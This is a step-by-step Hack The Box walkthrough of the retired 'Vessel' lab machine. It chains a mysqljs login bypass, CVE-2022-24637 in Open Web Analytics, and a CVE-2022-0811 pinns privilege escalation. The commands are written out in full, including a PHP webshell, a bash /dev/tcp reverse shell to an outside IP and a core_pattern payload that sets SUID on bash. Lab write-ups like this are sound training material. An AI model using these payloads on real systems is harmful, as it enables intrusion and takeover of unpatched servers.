Hack The Box
Hack The Box: Vessel Walkthrough
An archived walkthrough of the retired Hack The Box Vessel machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Difficulty: Hard | OS: Linux | IP: 10.129.227.225
The Hacker Mindset
Before we start — the goal of every HTB machine is to think like an attacker. Every service is an attack surface. Every piece of software has a version. Every version has a history of vulnerabilities. Every developer makes mistakes. Our job is to find those mistakes and chain them together from the outside all the way to root.
Stage 1 — Reconnaissance
Step 1: Port Scan with Nmap
nmap -p- --min-rate 10000 10.129.227.225
Why: Before you touch anything, you need to know what's listening. -p- scans all 65535 ports (not just the top 1000 that nmap defaults to). --min-rate 10000 speeds it up so we're not waiting forever. This is the first thing every attacker does — map the attack surface.
Result: Ports 22 (SSH) and 80 (HTTP) are open.
Step 2: Service Version Scan
nmap -p 22,80 -sCV 10.129.227.225
Why: Now that we know which ports are open, we do a deeper scan. -sC runs default scripts (banner grabbing, basic enumeration), -sV detects service versions. Versions matter enormously — an old Apache version might be vulnerable to a known CVE.
Result:
- Port 22: OpenSSH 8.2p1 (Ubuntu 20.04)
- Port 80: Apache 2.4.41
The OpenSSH version tells us this is likely Ubuntu 20.04 Focal. We note this for later (privilege escalation techniques vary by OS version).
Step 3: Add Domain to /etc/hosts
echo "10.129.227.225 vessel.htb" | sudo tee -a /etc/hosts
Why: Web applications often use virtual hosting — the same IP serves different content based on the Host: HTTP header. By adding the domain, our browser/curl will send the right Host header and get the intended site. This also enables subdomain enumeration later.
Stage 2 — Web Enumeration
Step 4: Discover the Exposed Git Repository
curl -s http://vessel.htb/dev/.git/config
Why: Developers sometimes push code to production servers with the .git directory still present. This is a goldmine — it contains the entire version history, credentials, and source code. The .git/config file is the first thing to check because it reveals if the repo is there without needing a directory listing.
Result: The git config reveals developer name Ethan and email ethan@vessel.htb. Usernames are valuable — they can be SSH users, web app users, or give us clues about credentials.
Step 5: Dump the Git Repository
git-dumper http://vessel.htb/dev ~/Downloads/htb/git
Why: git-dumper is a tool that reconstructs a git repository from a web server even when directory listing is disabled. It does this by fetching known git internal files (HEAD, index, pack files, objects) and piecing the repo back together. Once we have the source code, we can audit it for vulnerabilities far more efficiently than black-box testing.
Step 6: Analyze the Source Code
cd ~/Downloads/htb/git && git log --oneline && cat routes/index.js
Why: Reading the git log tells us the history of changes. Commit messages like "Security Fixes" are a red flag — they mean there WAS a vulnerability, and we want to see both the old and new code. Reading git diff between commits shows exactly what was "fixed" and helps us understand the developer's intent.
Key finding in routes/index.js:
connection.query('SELECT * FROM accounts WHERE username = ? AND password = REDACTED,
[username, password], function(error, results, fields) {
The developer switched to parameterized queries (the ? placeholders) to fix SQL injection. This looks secure at first glance. But — they're using the mysqljs library, which has a known type confusion vulnerability.
Stage 3 — Authentication Bypass
Step 7: Exploit mysqljs Type Confusion
curl -s -i -X POST http://vessel.htb/api/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password[password]=1" \
-c /tmp/vessel_cookies.txt
Why this works: The mysqljs library is supposed to safely escape the ? parameters. But when you pass an object instead of a string as a parameter, it behaves unexpectedly. The query becomes:
SELECT * FROM accounts WHERE username = 'admin' AND password = REDACTED = 1
In MySQL, this evaluates as:
SELECT * FROM accounts WHERE username = 'admin' AND (password = REDACTED) = 1
password = REDACTED is always true, so it becomes:
SELECT * FROM accounts WHERE username = 'admin' AND 1 = 1
Which returns the admin row, granting access. The lesson: parameterized queries are only safe if the library correctly handles all input types. Object injection into query parameters is a subtle but real vulnerability.
Hacker mindset: When you see "Security Fixes" in git history, always check if the fix is complete. Developers often fix the obvious issue but miss edge cases.
Result: HTTP 302 redirect to /admin — we're logged in.
Step 8: Discover the Analytics Subdomain
curl -s -b /tmp/vessel_cookies.txt http://vessel.htb/admin | grep -i "openwebanalytics"
Why: Now that we're authenticated, we explore every page and link. The admin dashboard has an "Analytics" link that points to openwebanalytics.vessel.htb. This is a new virtual host — a completely separate web application with its own attack surface.
echo "10.129.227.225 openwebanalytics.vessel.htb" | sudo tee -a /etc/hosts
Stage 4 — CVE-2022-24637 (Open Web Analytics Info Disclosure → RCE)
Step 9: Identify OWA Version
curl -s -L "http://openwebanalytics.vessel.htb/" | grep -i "version"
Result: OWA version 1.7.3
Why version matters: OWA 1.7.3 was released in November 2021. The next version (1.7.4, February 2022) contained a "CRITICAL SECURITY FIX". This tells us 1.7.3 is vulnerable. Always check the version against known CVEs — this is CVE-2022-24637.
Step 10: Understand CVE-2022-24637
This CVE has two parts:
Part 1 — Information Disclosure: OWA caches PHP objects to disk for performance. These cache files are stored in owa-data/caches/ which is publicly accessible without authentication. The cache files are meant to be PHP files, but a bug in the caching code writes <?php\n with a literal \n instead of a real newline, breaking the PHP tag. The file is served as plain text instead of being executed — so its contents are readable.
The cache file for a user contains the serialized user object, including the temp_passkey field — a token used for password resets.
Part 2 — Mass Assignment → Log Poisoning → RCE: The OWA settings endpoint doesn't whitelist which configuration keys can be updated. By sending arbitrary owa_config[key] parameters, we can set hidden config options like error_log_file (change the log path to a .php file) and then write PHP code into that log file.
Step 11: Trigger Password Reset to Generate Cache
curl -s -X POST "http://openwebanalytics.vessel.htb/index.php" \
-d "owa_action=base.passwordResetRequest&owa_email_address=admin@vessel.htb&owa_submit=Request+New+Password"
Why: A failed login also generates a cache, but the temp_passkey from a failed login isn't written to the database — so it can't be used to change the password. The password reset action (base.passwordResetRequest) generates a new temp_passkey AND writes it to the database, making it valid for the password change endpoint.
Why admin@vessel.htb exists: We can confirm valid emails via the OWA "Forgot Password" form — it shows different responses for valid vs invalid emails. admin@vessel.htb returns success, confirming the account exists.
Step 12: Fetch the Cache and Extract temp_passkey
The cache filename is predictable: md5("user_id" + user_numeric_id) where the admin's numeric ID is 1.
- Cache path:
/owa-data/caches/1/owa_user/[redacted retired-lab hash or flag].php([redacted retired-lab hash or flag]= md5("id1"))
# exploit script
curl cache → base64 decode → deserialize → extract temp_passkey
Why the filename is predictable: We can trace through the OWA source code to find exactly how cache filenames are generated. The key is in fileCache.php: filename = md5($col . $this->get('id')). For the password reset path, $col is "id" and $this->get('id') is 1.
Step 13: Change Admin Password
curl -s -i -X POST "http://openwebanalytics.vessel.htb/index.php" \
-d "owa_action=base.usersChangePassword&owa_k=<temp_passkey>&owa_password=hacked123&owa_password2=hacked123"
Why this works: The base.usersChangePassword action only checks that the supplied owa_k token matches a temp_passkey in the database. It doesn't verify email ownership, session state, or any other factor. If the token matches, the password is REDACTED This is the authentication flaw — we obtained the token from a publicly readable cache file.
Result: HTTP 302 with status_code=3006 = success. Admin password is REDACTED hacked123.
Step 14: Log in and Get RCE
# 1. Login as admin
# 2. Get nonce from settings page
# 3. Set log file path to a .php file (mass assignment)
POST owa_config[base.error_log_level]=2
POST owa_config[base.error_log_file]=/var/www/html/owa/owa-data/logs/shell.php
# 4. Write PHP webshell into the log (mass assignment with fake config key)
POST owa_config[base.pwn]=<?php system($_REQUEST['cmd']); ?>
Why mass assignment works: OWA's base.optionsUpdate action loops over all owa_config[*] parameters and saves them to the configuration. There's no whitelist. So we can set internal config values that aren't exposed in the UI — including error_log_file (where OWA writes its debug log) and error_log_level (setting it to 2 makes OWA log all POST parameters).
Why the log becomes executable PHP: We changed the log file path to end in .php. Apache will execute any .php file as PHP. When OWA logs our POST parameters (including <?php system($_REQUEST['cmd']); ?>), that PHP code lands in a .php file in a web-accessible directory. Visiting that file executes it.
Step 15: Reverse Shell
curl "http://openwebanalytics.vessel.htb/owa-data/logs/shell.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.84/4444 0>&1'"
Why bash reverse shell: We want an interactive shell, not just command output. A reverse shell has the target connect back to us (bypassing inbound firewall rules). bash -i >& /dev/tcp/IP/PORT 0>&1 redirects stdin/stdout/stderr over a TCP connection.
Result: Shell as www-data.
Stage 5 — Lateral Movement to Ethan
Step 16: Enumerate the Filesystem
ls -la /home/steven/
ls -la /home/steven/.notes/
Why: After getting a shell, the first thing you do is enumerate home directories. Files left by developers often contain credentials, keys, or tools. We find:
passwordGenerator— a Windows PE32 executable (34MB).notes/notes.pdf— a password-protected PDF.notes/screenshot.png— a screenshot of the password generator UI
Hacker mindset: The screenshot shows a GUI app generating 32-character passwords with "All Characters" selected. The PDF is locked with a password. The password was probably generated by this app. If we can reverse the app and reproduce its output, we can crack the PDF.
Step 17: Exfiltrate Files
# On target:
cp /home/steven/passwordGenerator /var/www/html/owa/owa-data/logs/pg
cp /home/steven/.notes/notes.pdf /var/www/html/owa/owa-data/logs/notes.pdf
cp /home/steven/.notes/screenshot.png /var/www/html/owa/owa-data/logs/ss.png
# On Kali:
wget http://openwebanalytics.vessel.htb/owa-data/logs/pg -O passwordGenerator
wget http://openwebanalytics.vessel.htb/owa-data/logs/notes.pdf
wget http://openwebanalytics.vessel.htb/owa-data/logs/ss.png
Why this method: We already have write access to the OWA web directory (we just wrote a webshell there). Copying files there and downloading via HTTP is reliable and fast, avoiding the need to set up netcat file transfers.
Step 18: Analyze the Password Generator
The passwordGenerator is a PyInstaller-bundled Windows executable. PyInstaller packages a Python interpreter and scripts into a single .exe. We can reverse this:
- Use
pyinstxtractorto unpack the PyInstaller archive → extracts.pycfiles - Use
uncompyle6to decompile.pycback to Python source
The key function:
def genPassword(self):
charset = '[redacted encoded lab material]~!@#$%^&*()_-+={}[]|:;<>,.?'
qsrand(QTime.currentTime().msec()) # <-- seed is milliseconds!
password = REDACTED
for i in range(32):
idx = qrand() % len(charset)
password += charset[idx]
return password
The vulnerability: QTime.currentTime().msec() returns the current millisecond (0–999). There are only 1000 possible seeds. This means there are only 1000 possible passwords the app can generate, regardless of how "random" they look.
Step 19: Generate the Password Wordlist
Critical insight — platform difference: The passwordGenerator.exe is a Windows binary. Qt's qrand() on Windows wraps the MSVC C runtime's rand(), which uses a simple LCG (Linear Congruential Generator):
state = (state * 214013 + 2531011) & 0xFFFFFFFF
return (state >> 16) & 0x7FFF # RAND_MAX = 32767 on Windows
Linux's glibc uses a completely different (more complex) RNG. Using Linux's rand() via ctypes would generate wrong passwords. We must replicate the Windows MSVC algorithm exactly.
import ctypes
charset = '[redacted encoded lab material]~!@#$%^&*()_-+={}[]|:;<>,.?'
def msvc_srand(seed):
global state
state = seed & 0xFFFFFFFF
def msvc_rand():
global state
state = (state * 214013 + 2531011) & 0xFFFFFFFF
return (state >> 16) & 0x7FFF
for seed in range(1000):
msvc_srand(seed)
pwd = REDACTED % len(charset)] for _ in range(32))
passwords.add(pwd)
This generates 1000 unique passwords covering every possible output of the generator.
Step 20: Crack the PDF
pdfcrack -f notes.pdf -w pass2.txt
Why pdfcrack: The PDF uses standard password encryption (not a modern algorithm). pdfcrack tries each password in our wordlist against the PDF's encryption parameters.
Result: YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS
Step 21: Read the PDF
pdftotext -upw 'YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS' notes.pdf -
Content:
Dear Steven, here is my password: null — Ethan
Hacker mindset: People reuse passwords between systems. Ethan wrote his system password in a note to Steven. This is credential exposure through negligent documentation — a very common real-world finding.
Step 22: SSH as Ethan + User Flag
ssh ethan@10.129.227.225 # password: null
cat ~/user.txt
Stage 6 — Privilege Escalation to Root (CVE-2022-0811)
Step 23: Identify the Attack Vector
ls -la /usr/bin/pinns
find / -name runc 2>/dev/null
Result:
/usr/bin/pinns— SUID binary owned by root, executable by groupethan/usr/sbin/runc— container runtime present
What is pinns? pinns is a utility from CRI-O (a container runtime for Kubernetes). Its job is to "pin" Linux namespaces — create new namespaces and bind them to files so they persist after all processes in them exit. It also accepts a -s flag to set sysctl kernel parameters within those namespaces.
CVE-2022-0811: Because pinns is SUID root, it runs as root. The -s parameter lets it set any sysctl, including kernel.core_pattern. On Linux, kernel.core_pattern defines what happens when a process crashes (core dump). If it starts with |, the kernel pipes the core dump to that program as root.
Step 24: Understanding the Full Exploit Chain
The exploit requires two simultaneous actions:
- Set
kernel.core_patternto execute our payload (via pinns SUID) - Trigger a crash inside a runc container which uses the compromised core_pattern
Why inside a container? Because runc containers run with elevated privileges (even rootless containers operate differently than regular processes), and triggering a segfault inside causes the kernel to invoke the core_pattern handler as root in the host's context.
Step 25: Set Up the runc Container (Session 1)
mkdir /tmp/meow && cd /tmp/meow
runc spec --rootless # generate default OCI container spec
mkdir rootfs # empty root filesystem
Modify config.json to:
- Disable terminal (avoid
/dev/consoleissues) - Bind mount
/from host into container (so we can access host filesystem) - Bind mount
/devfrom host (so devices work) - Clear device creation list
runc --root /tmp/meow run alpine
This drops us into a container shell running as root (container root, not host root).
Step 26: Create the Payload (Session 2)
echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /home/ethan/e.sh
chmod +x /home/ethan/e.sh
Why chmod +s on bash: Setting the SUID bit on /usr/bin/bash means any user can run bash -p and get an effective UID of root. This is a permanent privilege escalation backdoor.
Why /home/ethan/ not /tmp/: The server runs a cleanup cron job that deletes *.sh files from /tmp. Putting the script in ethan's home directory avoids this.
Step 27: Hijack kernel.core_pattern (Session 2)
pinns -d /var/run \
-f 844aa3c8-2c60-4245-a7df-9e26768ff303 \
-s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/home/ethan/e.sh #' \
--ipc --net --uts --cgroup
Breaking down the parameters:
-d /var/run— directory to store namespace pin files-f <uuid>— filename for the namespace pin files (any valid UUID)-s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/home/ethan/e.sh #'— sysctls to set. The+separates multiple sysctls.kernel.core_pattern=|/home/ethan/e.sh #sets the core dump handler to our script. The#at the end is a comment character that prevents any appended arguments from breaking the command.--ipc --net --uts --cgroup— namespace types to create/pin
Why this runs as root: pinns has the SUID bit set and is owned by root. When ethan runs it, the effective UID becomes root, and the sysctl write happens with root privileges. This is the exploit — a normal user can set kernel.core_pattern to an arbitrary path.
Step 28: Trigger Core Dump (Session 1, inside container)
ulimit -c unlimited # enable core dumps
tail -f /dev/null & # background process to kill
kill -SIGSEGV %1 # send segfault signal → triggers core dump
Why SIGSEGV: A segmentation fault (SIGSEGV) is one of the signals that triggers a core dump. When the process crashes, the kernel executes kernel.core_pattern — which is now our payload script — as root.
The payload runs: chmod +s /usr/bin/bash — setting the SUID bit.
Step 29: Root Shell
# Session 2:
ls -la /usr/bin/bash # verify -rwsr-sr-x (SUID bit set)
bash -p # -p preserves effective UID (root)
cat /root/root.txt
Why bash -p: By default, bash drops privileges when it detects it's being run with an effective UID different from the real UID (a security feature). The -p flag disables this behavior, keeping the root effective UID.
Summary of the Full Chain
Port 80 (HTTP)
└── /dev/.git exposed
└── Source code leaked
└── mysqljs type confusion → admin login on vessel.htb
└── openwebanalytics.vessel.htb discovered
└── OWA 1.7.3 (CVE-2022-24637)
├── Cache disclosure → temp_passkey
├── Password reset → OWA admin access
└── Mass assignment → log poisoning → RCE
└── www-data shell
└── passwordGenerator.exe (PyInstaller)
└── MSVC rand() weakness → 1000 passwords
└── pdfcrack → ethan's password
└── SSH as ethan → user.txt
└── pinns SUID (CVE-2022-0811)
└── kernel.core_pattern hijack
└── bash SUID → root.txt
Key Lessons
| Lesson | Example in This Box |
|---|---|
Never expose .git in production |
Full source code leaked |
| Validate input types, not just values | mysqljs object injection |
| Authenticate all web directories | OWA cache files readable without auth |
| Don't store credentials in documents | Ethan's password in a PDF note |
| PRNGs seeded with time have tiny keyspace | 1000 possible passwords |
| SUID binaries are dangerous | pinns + kernel.core_pattern = root |
| Patch software promptly | OWA 1.7.3 → 1.7.4 critical security fix |